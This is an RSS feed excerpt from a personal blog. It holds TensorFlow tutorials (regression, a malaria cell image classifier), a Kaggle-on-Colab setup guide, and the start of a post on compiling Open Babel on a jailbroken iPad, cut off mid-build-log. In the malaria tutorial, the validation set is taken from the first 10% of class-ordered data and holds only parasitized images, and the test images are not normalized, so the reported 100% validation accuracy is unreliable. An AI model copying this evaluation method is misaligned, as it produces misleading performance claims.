</div>

<p>As always, remember to tweak the parameters and choose the correct model for the job. A polynomial regression model might not even be the best model for this particular dataset.</p>

<h2 id="further-programming">Further Programming</h2>

<p>How would you modify this code to use another type of nonlinear regression? Say, </p>

<math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><mrow><mi>y</mi><mo>&#x0003D;</mo><mi>a</mi><msup><mi>b</mi><mi>x</mi></msup></mrow></math>

<p>Hint: Your loss calculation would be similar to:</p>

<div class="codehilite">
<pre><span></span><code><span class="n">bx</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">pow</span><span class="p">(</span><span class="n">coefficients</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="n">X</span><span class="p">)</span>
<span class="n">pred_y</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">math</span><span class="o">.</span><span class="n">multiply</span><span class="p">(</span><span class="n">coefficients</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="n">bx</span><span class="p">)</span>
<span class="n">loss</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">reduce_mean</span><span class="p">(</span><span class="n">tf</span><span class="o">.</span><span class="n">square</span><span class="p">(</span><span class="n">pred_y</span> <span class="o">-</span> <span class="n">Y</span><span class="p">))</span>
</code></pre>
</div>
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				https://web.navan.dev/posts/hello-world.html
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			<title>
				Hello World
			</title>
			<description>
				My first post.
			</description>
			<link>https://web.navan.dev/posts/hello-world.html</link>
			<pubDate>Tue, 16 Apr 2019 17:39:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="hello-world">Hello World</h1>

<p><strong>Why a Hello World post?</strong></p>

<p>Just re-did the entire website using Publish (Publish by John Sundell). So, a new hello world post :) </p>
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				https://web.navan.dev/posts/2010-01-24-experiments.html
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			<title>
				Experiments
			</title>
			<description>
				Just a markdown file for all experiments related to the website
			</description>
			<link>https://web.navan.dev/posts/2010-01-24-experiments.html</link>
			<pubDate>Sun, 24 Jan 2010 23:43:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="experiments">Experiments</h1>

<p>https://s3-us-west-2.amazonaws.com/s.cdpn.io/148866/img-original.jpg</p>

<iframe frameborder="0" class="juxtapose" width="100%" height="675" src="https://cdn.knightlab.com/libs/juxtapose/latest/embed/index.html?uid=c600ff8c-3edc-11ea-b9b8-0edaf8f81e27"></iframe>
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				https://web.navan.dev/posts/2020-01-15-Setting-up-Kaggle-to-use-with-Colab.html
			</guid>
			<title>
				Setting up Kaggle to use with Google Colab
			</title>
			<description>
				Tutorial on setting up kaggle, to use with Google Colab
			</description>
			<link>https://web.navan.dev/posts/2020-01-15-Setting-up-Kaggle-to-use-with-Colab.html</link>
			<pubDate>Wed, 15 Jan 2020 23:36:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="setting-up-kaggle-to-use-with-google-colab">Setting up Kaggle to use with Google Colab</h1>

<p><em>In order to be able to access Kaggle Datasets, you will need to have an account on Kaggle (which is Free)</em></p>

<h2 id="grabbing-our-tokens">Grabbing Our Tokens</h2>

<h3 id="go-to-kaggle">Go to Kaggle</h3>

<p><img src="/assets/posts/kaggle-colab/ss1.png" alt="&quot;Homepage&quot;" /></p>

<h3 id="click-on-your-user-profile-and-click-on-my-account">Click on your User Profile and Click on My Account</h3>

<p><img src="/assets/posts/kaggle-colab/ss2.png" alt="&quot;Account&quot;" /></p>

<h3 id="scroll-down-until-you-see-create-new-api-token">Scroll Down until you see Create New API Token</h3>

<p><img src="/assets/posts/kaggle-colab/ss3.png" alt="" /></p>

<h3 id="this-will-download-your-token-as-a-json-file">This will download your token as a JSON file</h3>

<p><img src="/assets/posts/kaggle-colab/ss4.png" alt="" /></p>

<p>Copy the File to the root folder of your Google Drive</p>

<h2 id="setting-up-colab">Setting up Colab</h2>

<h3 id="mounting-google-drive">Mounting Google Drive</h3>

<div class="codehilite">
<pre><span></span><code><span class="kn">import</span> <span class="nn">os</span>
<span class="kn">from</span> <span class="nn">google.colab</span> <span class="kn">import</span> <span class="n">drive</span>
<span class="n">drive</span><span class="o">.</span><span class="n">mount</span><span class="p">(</span><span class="s1">&#39;/content/drive&#39;</span><span class="p">)</span>
</code></pre>
</div>

<p>After this click on the URL in the output section, login and then paste the Auth Code</p>

<h3 id="configuring-kaggle">Configuring Kaggle</h3>

<div class="codehilite">
<pre><span></span><code><span class="n">os</span><span class="o">.</span><span class="n">environ</span><span class="p">[</span><span class="s1">&#39;KAGGLE_CONFIG_DIR&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="s2">&quot;/content/drive/My Drive/&quot;</span>
</code></pre>
</div>

<p>Voila! You can now download Kaggle datasets</p>
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			<title>
				Creating a Custom Image Classifier using Tensorflow 2.x and Keras for Detecting Malaria
			</title>
			<description>
				Tutorial on creating an image classifier model using TensorFlow which detects malaria
			</description>
			<link>https://web.navan.dev/posts/2019-12-08-Image-Classifier-Tensorflow.html</link>
			<pubDate>Sun, 08 Dec 2019 14:16:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="creating-a-custom-image-classifier-using-tensorflow-2x-and-keras-for-detecting-malaria">Creating a Custom Image Classifier using Tensorflow 2.x and Keras for Detecting Malaria</h1>

<p><strong>Done during Google Code-In. Org: Tensorflow.</strong></p>

<h2 id="imports">Imports</h2>

<div class="codehilite">
<pre><span></span><code><span class="o">%</span><span class="n">tensorflow_version</span> <span class="mf">2.</span><span class="n">x</span> <span class="c1">#This is for telling Colab that you want to use TF 2.0, ignore if running on local machine</span>

<span class="kn">from</span> <span class="nn">PIL</span> <span class="kn">import</span> <span class="n">Image</span> <span class="c1"># We use the PIL Library to resize images</span>
<span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="nn">np</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">cv2</span>
<span class="kn">import</span> <span class="nn">tensorflow</span> <span class="k">as</span> <span class="nn">tf</span>
<span class="kn">from</span> <span class="nn">tensorflow.keras</span> <span class="kn">import</span> <span class="n">datasets</span><span class="p">,</span> <span class="n">layers</span><span class="p">,</span> <span class="n">models</span>
<span class="kn">import</span> <span class="nn">pandas</span> <span class="k">as</span> <span class="nn">pd</span>
<span class="kn">import</span> <span class="nn">matplotlib.pyplot</span> <span class="k">as</span> <span class="nn">plt</span>
<span class="kn">from</span> <span class="nn">keras.models</span> <span class="kn">import</span> <span class="n">Sequential</span>
<span class="kn">from</span> <span class="nn">keras.layers</span> <span class="kn">import</span> <span class="n">Conv2D</span><span class="p">,</span><span class="n">MaxPooling2D</span><span class="p">,</span><span class="n">Dense</span><span class="p">,</span><span class="n">Flatten</span><span class="p">,</span><span class="n">Dropout</span>
</code></pre>
</div>

<h2 id="dataset">Dataset</h2>

<h3 id="fetching-the-data">Fetching the Data</h3>

<div class="codehilite">
<pre><span></span><code><span class="err">!</span><span class="n">wget</span> <span class="n">ftp</span><span class="p">:</span><span class="o">//</span><span class="n">lhcftp</span><span class="o">.</span><span class="n">nlm</span><span class="o">.</span><span class="n">nih</span><span class="o">.</span><span class="n">gov</span><span class="o">/</span><span class="n">Open</span><span class="o">-</span><span class="n">Access</span><span class="o">-</span><span class="n">Datasets</span><span class="o">/</span><span class="n">Malaria</span><span class="o">/</span><span class="n">cell_images</span><span class="o">.</span><span class="n">zip</span>
<span class="err">!</span><span class="n">unzip</span> <span class="n">cell_images</span><span class="o">.</span><span class="n">zip</span>
</code></pre>
</div>

<h3 id="processing-the-data">Processing the Data</h3>

<p>We resize all the images as 50x50 and add the numpy array of that image as well as their label names (Infected or Not) to common arrays.</p>

<div class="codehilite">
<pre><span></span><code><span class="n">data</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">labels</span> <span class="o">=</span> <span class="p">[]</span>

<span class="n">Parasitized</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">listdir</span><span class="p">(</span><span class="s2">&quot;./cell_images/Parasitized/&quot;</span><span class="p">)</span>
<span class="k">for</span> <span class="n">parasite</span> <span class="ow">in</span> <span class="n">Parasitized</span><span class="p">:</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">image</span><span class="o">=</span><span class="n">cv2</span><span class="o">.</span><span class="n">imread</span><span class="p">(</span><span class="s2">&quot;./cell_images/Parasitized/&quot;</span><span class="o">+</span><span class="n">parasite</span><span class="p">)</span>
        <span class="n">image_from_array</span> <span class="o">=</span> <span class="n">Image</span><span class="o">.</span><span class="n">fromarray</span><span class="p">(</span><span class="n">image</span><span class="p">,</span> <span class="s1">&#39;RGB&#39;</span><span class="p">)</span>
        <span class="n">size_image</span> <span class="o">=</span> <span class="n">image_from_array</span><span class="o">.</span><span class="n">resize</span><span class="p">((</span><span class="mi">50</span><span class="p">,</span> <span class="mi">50</span><span class="p">))</span>
        <span class="n">data</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">np</span><span class="o">.</span><span class="n">array</span><span class="p">(</span><span class="n">size_image</span><span class="p">))</span>
        <span class="n">labels</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
    <span class="k">except</span> <span class="ne">AttributeError</span><span class="p">:</span>
        <span class="nb">print</span><span class="p">(</span><span class="s2">&quot;&quot;</span><span class="p">)</span>

<span class="n">Uninfected</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">listdir</span><span class="p">(</span><span class="s2">&quot;./cell_images/Uninfected/&quot;</span><span class="p">)</span>
<span class="k">for</span> <span class="n">uninfect</span> <span class="ow">in</span> <span class="n">Uninfected</span><span class="p">:</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">image</span><span class="o">=</span><span class="n">cv2</span><span class="o">.</span><span class="n">imread</span><span class="p">(</span><span class="s2">&quot;./cell_images/Uninfected/&quot;</span><span class="o">+</span><span class="n">uninfect</span><span class="p">)</span>
        <span class="n">image_from_array</span> <span class="o">=</span> <span class="n">Image</span><span class="o">.</span><span class="n">fromarray</span><span class="p">(</span><span class="n">image</span><span class="p">,</span> <span class="s1">&#39;RGB&#39;</span><span class="p">)</span>
        <span class="n">size_image</span> <span class="o">=</span> <span class="n">image_from_array</span><span class="o">.</span><span class="n">resize</span><span class="p">((</span><span class="mi">50</span><span class="p">,</span> <span class="mi">50</span><span class="p">))</span>
        <span class="n">data</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">np</span><span class="o">.</span><span class="n">array</span><span class="p">(</span><span class="n">size_image</span><span class="p">))</span>
        <span class="n">labels</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
    <span class="k">except</span> <span class="ne">AttributeError</span><span class="p">:</span>
        <span class="nb">print</span><span class="p">(</span><span class="s2">&quot;&quot;</span><span class="p">)</span>
</code></pre>
</div>

<h3 id="splitting-data">Splitting Data</h3>

<div class="codehilite">
<pre><span></span><code><span class="n">df</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">array</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
<span class="n">labels</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">array</span><span class="p">(</span><span class="n">labels</span><span class="p">)</span>
<span class="p">(</span><span class="n">X_train</span><span class="p">,</span> <span class="n">X_test</span><span class="p">)</span> <span class="o">=</span> <span class="n">df</span><span class="p">[(</span><span class="nb">int</span><span class="p">)(</span><span class="mf">0.1</span><span class="o">*</span><span class="nb">len</span><span class="p">(</span><span class="n">df</span><span class="p">)):],</span><span class="n">df</span><span class="p">[:(</span><span class="nb">int</span><span class="p">)(</span><span class="mf">0.1</span><span class="o">*</span><span class="nb">len</span><span class="p">(</span><span class="n">df</span><span class="p">))]</span>
<span class="p">(</span><span class="n">y_train</span><span class="p">,</span> <span class="n">y_test</span><span class="p">)</span> <span class="o">=</span> <span class="n">labels</span><span class="p">[(</span><span class="nb">int</span><span class="p">)(</span><span class="mf">0.1</span><span class="o">*</span><span class="nb">len</span><span class="p">(</span><span class="n">labels</span><span class="p">)):],</span><span class="n">labels</span><span class="p">[:(</span><span class="nb">int</span><span class="p">)(</span><span class="mf">0.1</span><span class="o">*</span><span class="nb">len</span><span class="p">(</span><span class="n">labels</span><span class="p">))]</span>
</code></pre>
</div>

<pre><code>s=np.arange(X_train.shape[0])
np.random.shuffle(s)
X_train=X_train[s]
y_train=y_train[s]
X_train = X_train/255.0
</code></pre>

<h2 id="model">Model</h2>

<h3 id="creating-model">Creating Model</h3>

<p>By creating a sequential model, we create a linear stack of layers.</p>

<p><em>Note: The input shape for the first layer is 50,50 which corresponds with the sizes of the resized images</em></p>

<div class="codehilite">
<pre><span></span><code><span class="n">model</span> <span class="o">=</span> <span class="n">models</span><span class="o">.</span><span class="n">Sequential</span><span class="p">()</span>
<span class="n">model</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">layers</span><span class="o">.</span><span class="n">Conv2D</span><span class="p">(</span><span class="n">filters</span><span class="o">=</span><span class="mi">16</span><span class="p">,</span> <span class="n">kernel_size</span><span class="o">=</span><span class="mi">2</span><span class="p">,</span> <span class="n">padding</span><span class="o">=</span><span class="s1">&#39;same&#39;</span><span class="p">,</span> <span class="n">activation</span><span class="o">=</span><span class="s1">&#39;relu&#39;</span><span class="p">,</span> <span class="n">input_shape</span><span class="o">=</span><span class="p">(</span><span class="mi">50</span><span class="p">,</span><span class="mi">50</span><span class="p">,</span><span class="mi">3</span><span class="p">)))</span>
<span class="n">model</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">layers</span><span class="o">.</span><span class="n">MaxPooling2D</span><span class="p">(</span><span class="n">pool_size</span><span class="o">=</span><span class="mi">2</span><span class="p">))</span>
<span class="n">model</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">layers</span><span class="o">.</span><span class="n">Conv2D</span><span class="p">(</span><span class="n">filters</span><span class="o">=</span><span class="mi">32</span><span class="p">,</span><span class="n">kernel_size</span><span class="o">=</span><span class="mi">2</span><span class="p">,</span><span class="n">padding</span><span class="o">=</span><span class="s1">&#39;same&#39;</span><span class="p">,</span><span class="n">activation</span><span class="o">=</span><span class="s1">&#39;relu&#39;</span><span class="p">))</span>
<span class="n">model</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">layers</span><span class="o">.</span><span class="n">MaxPooling2D</span><span class="p">(</span><span class="n">pool_size</span><span class="o">=</span><span class="mi">2</span><span class="p">))</span>
<span class="n">model</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">layers</span><span class="o">.</span><span class="n">Conv2D</span><span class="p">(</span><span class="n">filters</span><span class="o">=</span><span class="mi">64</span><span class="p">,</span><span class="n">kernel_size</span><span class="o">=</span><span class="mi">2</span><span class="p">,</span><span class="n">padding</span><span class="o">=</span><span class="s2">&quot;same&quot;</span><span class="p">,</span><span class="n">activation</span><span class="o">=</span><span class="s2">&quot;relu&quot;</span><span class="p">))</span>
<span class="n">model</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">layers</span><span class="o">.</span><span class="n">MaxPooling2D</span><span class="p">(</span><span class="n">pool_size</span><span class="o">=</span><span class="mi">2</span><span class="p">))</span>
<span class="n">model</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">layers</span><span class="o">.</span><span class="n">Dropout</span><span class="p">(</span><span class="mf">0.2</span><span class="p">))</span>
<span class="n">model</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">layers</span><span class="o">.</span><span class="n">Flatten</span><span class="p">())</span>
<span class="n">model</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">layers</span><span class="o">.</span><span class="n">Dense</span><span class="p">(</span><span class="mi">500</span><span class="p">,</span><span class="n">activation</span><span class="o">=</span><span class="s2">&quot;relu&quot;</span><span class="p">))</span>
<span class="n">model</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">layers</span><span class="o">.</span><span class="n">Dropout</span><span class="p">(</span><span class="mf">0.2</span><span class="p">))</span>
<span class="n">model</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">layers</span><span class="o">.</span><span class="n">Dense</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span><span class="n">activation</span><span class="o">=</span><span class="s2">&quot;softmax&quot;</span><span class="p">))</span><span class="c1">#2 represent output layer neurons </span>
<span class="n">model</span><span class="o">.</span><span class="n">summary</span><span class="p">()</span>
</code></pre>
</div>

<h3 id="compiling-model">Compiling Model</h3>

<p>We use the Adam optimiser as it is an adaptive learning rate optimisation algorithm that's been designed specifically for <em>training</em> deep neural networks, which means it changes its learning rate automatically to get the best results</p>

<div class="codehilite">
<pre><span></span><code><span class="n">model</span><span class="o">.</span><span class="n">compile</span><span class="p">(</span><span class="n">optimizer</span><span class="o">=</span><span class="s2">&quot;adam&quot;</span><span class="p">,</span>
              <span class="n">loss</span><span class="o">=</span><span class="s2">&quot;sparse_categorical_crossentropy&quot;</span><span class="p">,</span> 
             <span class="n">metrics</span><span class="o">=</span><span class="p">[</span><span class="s2">&quot;accuracy&quot;</span><span class="p">])</span>
</code></pre>
</div>

<h3 id="training-model">Training Model</h3>

<p>We train the model for 10 epochs on the training data and then validate it using the testing data</p>

<div class="codehilite">
<pre><span></span><code><span class="n">history</span> <span class="o">=</span> <span class="n">model</span><span class="o">.</span><span class="n">fit</span><span class="p">(</span><span class="n">X_train</span><span class="p">,</span><span class="n">y_train</span><span class="p">,</span> <span class="n">epochs</span><span class="o">=</span><span class="mi">10</span><span class="p">,</span> <span class="n">validation_data</span><span class="o">=</span><span class="p">(</span><span class="n">X_test</span><span class="p">,</span><span class="n">y_test</span><span class="p">))</span>
</code></pre>
</div>

<div class="codehilite">
<pre><span></span><code><span class="n">Train</span> <span class="n">on</span> <span class="mi">24803</span> <span class="n">samples</span><span class="p">,</span> <span class="n">validate</span> <span class="n">on</span> <span class="mi">2755</span> <span class="n">samples</span>
<span class="n">Epoch</span> <span class="mi">1</span><span class="o">/</span><span class="mi">10</span>
<span class="mi">24803</span><span class="o">/</span><span class="mi">24803</span> <span class="p">[</span><span class="o">==============================</span><span class="p">]</span> <span class="o">-</span> <span class="mi">57</span><span class="n">s</span> <span class="mi">2</span><span class="n">ms</span><span class="o">/</span><span class="n">sample</span> <span class="o">-</span> <span class="n">loss</span><span class="p">:</span> <span class="mf">0.0786</span> <span class="o">-</span> <span class="n">accuracy</span><span class="p">:</span> <span class="mf">0.9729</span> <span class="o">-</span> <span class="n">val_loss</span><span class="p">:</span> <span class="mf">0.0000e+00</span> <span class="o">-</span> <span class="n">val_accuracy</span><span class="p">:</span> <span class="mf">1.0000</span>
<span class="n">Epoch</span> <span class="mi">2</span><span class="o">/</span><span class="mi">10</span>
<span class="mi">24803</span><span class="o">/</span><span class="mi">24803</span> <span class="p">[</span><span class="o">==============================</span><span class="p">]</span> <span class="o">-</span> <span class="mi">58</span><span class="n">s</span> <span class="mi">2</span><span class="n">ms</span><span class="o">/</span><span class="n">sample</span> <span class="o">-</span> <span class="n">loss</span><span class="p">:</span> <span class="mf">0.0746</span> <span class="o">-</span> <span class="n">accuracy</span><span class="p">:</span> <span class="mf">0.9731</span> <span class="o">-</span> <span class="n">val_loss</span><span class="p">:</span> <span class="mf">0.0290</span> <span class="o">-</span> <span class="n">val_accuracy</span><span class="p">:</span> <span class="mf">0.9996</span>
<span class="n">Epoch</span> <span class="mi">3</span><span class="o">/</span><span class="mi">10</span>
<span class="mi">24803</span><span class="o">/</span><span class="mi">24803</span> <span class="p">[</span><span class="o">==============================</span><span class="p">]</span> <span class="o">-</span> <span class="mi">58</span><span class="n">s</span> <span class="mi">2</span><span class="n">ms</span><span class="o">/</span><span class="n">sample</span> <span class="o">-</span> <span class="n">loss</span><span class="p">:</span> <span class="mf">0.0672</span> <span class="o">-</span> <span class="n">accuracy</span><span class="p">:</span> <span class="mf">0.9764</span> <span class="o">-</span> <span class="n">val_loss</span><span class="p">:</span> <span class="mf">0.0000e+00</span> <span class="o">-</span> <span class="n">val_accuracy</span><span class="p">:</span> <span class="mf">1.0000</span>
<span class="n">Epoch</span> <span class="mi">4</span><span class="o">/</span><span class="mi">10</span>
<span class="mi">24803</span><span class="o">/</span><span class="mi">24803</span> <span class="p">[</span><span class="o">==============================</span><span class="p">]</span> <span class="o">-</span> <span class="mi">58</span><span class="n">s</span> <span class="mi">2</span><span class="n">ms</span><span class="o">/</span><span class="n">sample</span> <span class="o">-</span> <span class="n">loss</span><span class="p">:</span> <span class="mf">0.0601</span> <span class="o">-</span> <span class="n">accuracy</span><span class="p">:</span> <span class="mf">0.9789</span> <span class="o">-</span> <span class="n">val_loss</span><span class="p">:</span> <span class="mf">0.0000e+00</span> <span class="o">-</span> <span class="n">val_accuracy</span><span class="p">:</span> <span class="mf">1.0000</span>
<span class="n">Epoch</span> <span class="mi">5</span><span class="o">/</span><span class="mi">10</span>
<span class="mi">24803</span><span class="o">/</span><span class="mi">24803</span> <span class="p">[</span><span class="o">==============================</span><span class="p">]</span> <span class="o">-</span> <span class="mi">58</span><span class="n">s</span> <span class="mi">2</span><span class="n">ms</span><span class="o">/</span><span class="n">sample</span> <span class="o">-</span> <span class="n">loss</span><span class="p">:</span> <span class="mf">0.0558</span> <span class="o">-</span> <span class="n">accuracy</span><span class="p">:</span> <span class="mf">0.9804</span> <span class="o">-</span> <span class="n">val_loss</span><span class="p">:</span> <span class="mf">0.0000e+00</span> <span class="o">-</span> <span class="n">val_accuracy</span><span class="p">:</span> <span class="mf">1.0000</span>
<span class="n">Epoch</span> <span class="mi">6</span><span class="o">/</span><span class="mi">10</span>
<span class="mi">24803</span><span class="o">/</span><span class="mi">24803</span> <span class="p">[</span><span class="o">==============================</span><span class="p">]</span> <span class="o">-</span> <span class="mi">57</span><span class="n">s</span> <span class="mi">2</span><span class="n">ms</span><span class="o">/</span><span class="n">sample</span> <span class="o">-</span> <span class="n">loss</span><span class="p">:</span> <span class="mf">0.0513</span> <span class="o">-</span> <span class="n">accuracy</span><span class="p">:</span> <span class="mf">0.9819</span> <span class="o">-</span> <span class="n">val_loss</span><span class="p">:</span> <span class="mf">0.0000e+00</span> <span class="o">-</span> <span class="n">val_accuracy</span><span class="p">:</span> <span class="mf">1.0000</span>
<span class="n">Epoch</span> <span class="mi">7</span><span class="o">/</span><span class="mi">10</span>
<span class="mi">24803</span><span class="o">/</span><span class="mi">24803</span> <span class="p">[</span><span class="o">==============================</span><span class="p">]</span> <span class="o">-</span> <span class="mi">58</span><span class="n">s</span> <span class="mi">2</span><span class="n">ms</span><span class="o">/</span><span class="n">sample</span> <span class="o">-</span> <span class="n">loss</span><span class="p">:</span> <span class="mf">0.0452</span> <span class="o">-</span> <span class="n">accuracy</span><span class="p">:</span> <span class="mf">0.9849</span> <span class="o">-</span> <span class="n">val_loss</span><span class="p">:</span> <span class="mf">0.3190</span> <span class="o">-</span> <span class="n">val_accuracy</span><span class="p">:</span> <span class="mf">0.9985</span>
<span class="n">Epoch</span> <span class="mi">8</span><span class="o">/</span><span class="mi">10</span>
<span class="mi">24803</span><span class="o">/</span><span class="mi">24803</span> <span class="p">[</span><span class="o">==============================</span><span class="p">]</span> <span class="o">-</span> <span class="mi">58</span><span class="n">s</span> <span class="mi">2</span><span class="n">ms</span><span class="o">/</span><span class="n">sample</span> <span class="o">-</span> <span class="n">loss</span><span class="p">:</span> <span class="mf">0.0404</span> <span class="o">-</span> <span class="n">accuracy</span><span class="p">:</span> <span class="mf">0.9858</span> <span class="o">-</span> <span class="n">val_loss</span><span class="p">:</span> <span class="mf">0.0000e+00</span> <span class="o">-</span> <span class="n">val_accuracy</span><span class="p">:</span> <span class="mf">1.0000</span>
<span class="n">Epoch</span> <span class="mi">9</span><span class="o">/</span><span class="mi">10</span>
<span class="mi">24803</span><span class="o">/</span><span class="mi">24803</span> <span class="p">[</span><span class="o">==============================</span><span class="p">]</span> <span class="o">-</span> <span class="mi">58</span><span class="n">s</span> <span class="mi">2</span><span class="n">ms</span><span class="o">/</span><span class="n">sample</span> <span class="o">-</span> <span class="n">loss</span><span class="p">:</span> <span class="mf">0.0352</span> <span class="o">-</span> <span class="n">accuracy</span><span class="p">:</span> <span class="mf">0.9878</span> <span class="o">-</span> <span class="n">val_loss</span><span class="p">:</span> <span class="mf">0.0000e+00</span> <span class="o">-</span> <span class="n">val_accuracy</span><span class="p">:</span> <span class="mf">1.0000</span>
<span class="n">Epoch</span> <span class="mi">10</span><span class="o">/</span><span class="mi">10</span>
<span class="mi">24803</span><span class="o">/</span><span class="mi">24803</span> <span class="p">[</span><span class="o">==============================</span><span class="p">]</span> <span class="o">-</span> <span class="mi">58</span><span class="n">s</span> <span class="mi">2</span><span class="n">ms</span><span class="o">/</span><span class="n">sample</span> <span class="o">-</span> <span class="n">loss</span><span class="p">:</span> <span class="mf">0.0373</span> <span class="o">-</span> <span class="n">accuracy</span><span class="p">:</span> <span class="mf">0.9865</span> <span class="o">-</span> <span class="n">val_loss</span><span class="p">:</span> <span class="mf">0.0000e+00</span> <span class="o">-</span> <span class="n">val_accuracy</span><span class="p">:</span> <span class="mf">1.0000</span>
</code></pre>
</div>

<h3 id="results">Results</h3>

<div class="codehilite">
<pre><span></span><code><span class="n">accuracy</span> <span class="o">=</span> <span class="n">history</span><span class="o">.</span><span class="n">history</span><span class="p">[</span><span class="s1">&#39;accuracy&#39;</span><span class="p">][</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span><span class="o">*</span><span class="mi">100</span>
<span class="n">loss</span> <span class="o">=</span> <span class="n">history</span><span class="o">.</span><span class="n">history</span><span class="p">[</span><span class="s1">&#39;loss&#39;</span><span class="p">][</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span><span class="o">*</span><span class="mi">100</span>
<span class="n">val_accuracy</span> <span class="o">=</span> <span class="n">history</span><span class="o">.</span><span class="n">history</span><span class="p">[</span><span class="s1">&#39;val_accuracy&#39;</span><span class="p">][</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span><span class="o">*</span><span class="mi">100</span>
<span class="n">val_loss</span> <span class="o">=</span> <span class="n">history</span><span class="o">.</span><span class="n">history</span><span class="p">[</span><span class="s1">&#39;val_loss&#39;</span><span class="p">][</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span><span class="o">*</span><span class="mi">100</span>

<span class="nb">print</span><span class="p">(</span>
    <span class="s1">&#39;Accuracy:&#39;</span><span class="p">,</span> <span class="n">accuracy</span><span class="p">,</span>
    <span class="s1">&#39;</span><span class="se">\n</span><span class="s1">Loss:&#39;</span><span class="p">,</span> <span class="n">loss</span><span class="p">,</span>
    <span class="s1">&#39;</span><span class="se">\n</span><span class="s1">Validation Accuracy:&#39;</span><span class="p">,</span> <span class="n">val_accuracy</span><span class="p">,</span>
    <span class="s1">&#39;</span><span class="se">\n</span><span class="s1">Validation Loss:&#39;</span><span class="p">,</span> <span class="n">val_loss</span>
<span class="p">)</span>
</code></pre>
</div>

<div class="codehilite">
<pre><span></span><code><span class="n">Accuracy</span><span class="p">:</span> <span class="mf">98.64532351493835</span> 
<span class="n">Loss</span><span class="p">:</span> <span class="mf">3.732407123270176</span> 
<span class="n">Validation</span> <span class="n">Accuracy</span><span class="p">:</span> <span class="mf">100.0</span> 
<span class="n">Validation</span> <span class="n">Loss</span><span class="p">:</span> <span class="mf">0.0</span>
</code></pre>
</div>

<p>We have achieved 98% Accuracy!</p>

<p><a rel="noopener" target="_blank" href="https://colab.research.google.com/drive/1ZswDsxLwYZEnev89MzlL5Lwt6ut7iwp-" title="Colab Notebook">Link to Colab Notebook</a></p>
]]></content:encoded>
		</item>
		
		<item>
			<guid isPermaLink="true">
				https://web.navan.dev/posts/2020-05-31-compiling-open-babel-on-ios.html
			</guid>
			<title>
				Compiling Open Babel on iOS
			</title>
			<description>
				Compiling Open Babel on iOS
			</description>
			<link>https://web.navan.dev/posts/2020-05-31-compiling-open-babel-on-ios.html</link>
			<pubDate>Sun, 31 May 2020 23:30:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="compiling-open-babel-on-ios">Compiling Open Babel on iOS</h1>

<p>Due to the fact that my summer vacations started today,
I had the brilliant idea of trying to run open babel on my iPad.
To give a little background, I had tried to compile AutoDock Vina using a cross-compiler but I had miserably failed.</p>

<p>I am running the Checkr1n jailbreak on my iPad and the Unc0ver jailbreak on my phone.</p>

<h2 id="but-why">But Why?</h2>

<p>Well, just because I can. This is literally the only reason I tried compiling it and also partially because in the long run I want to compile AutoDock Vina so I can do Molecular Docking on the go.</p>

<h2 id="lets-go">Let's Go!</h2>

<p>How hard can it be to compile open babel right? It is just a simple software with clear and concise build instructions. I just need to use <code>cmake</code> to build and the <code>make</code> to install.</p>

<p>It is 11 AM in the morning. I install <code>clang, cmake and make</code> from the Sam Bingner's repository, fired up ssh, downloaded the source code and ran the build command.`clang</p>

<h3 id="fail-no-1">Fail No. 1</h3>

<p>I couldn't even get cmake to run, I did a little digging around StackOverflow and founf that I needed the iOS SDK, sure no problem. I waited for Xcode to update and transferred the SDKs to my iPad </p>

<pre><code>scp -r /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS.sdk root@192.168.1.8:/var/sdks/
</code></pre>

<p>Them I told cmake that this is the location for my SDK 😠. Successful! Now I just needed to use make.</p>

<h3 id="fail-no-2">Fail No. 2</h3>

<p>It was giving the error that thread-local-storage was not supported on this device.</p>

<pre><code>[  0%] Building CXX object src/CMakeFiles/openbabel.dir/alias.cpp.o
[  1%] Building CXX object src/CMakeFiles/openbabel.dir/atom.cpp.o
In file included from /var/root/obabel/ob-src/src/atom.cpp:28:
In file included from /var/root/obabel/ob-src/include/openbabel/ring.h:29:
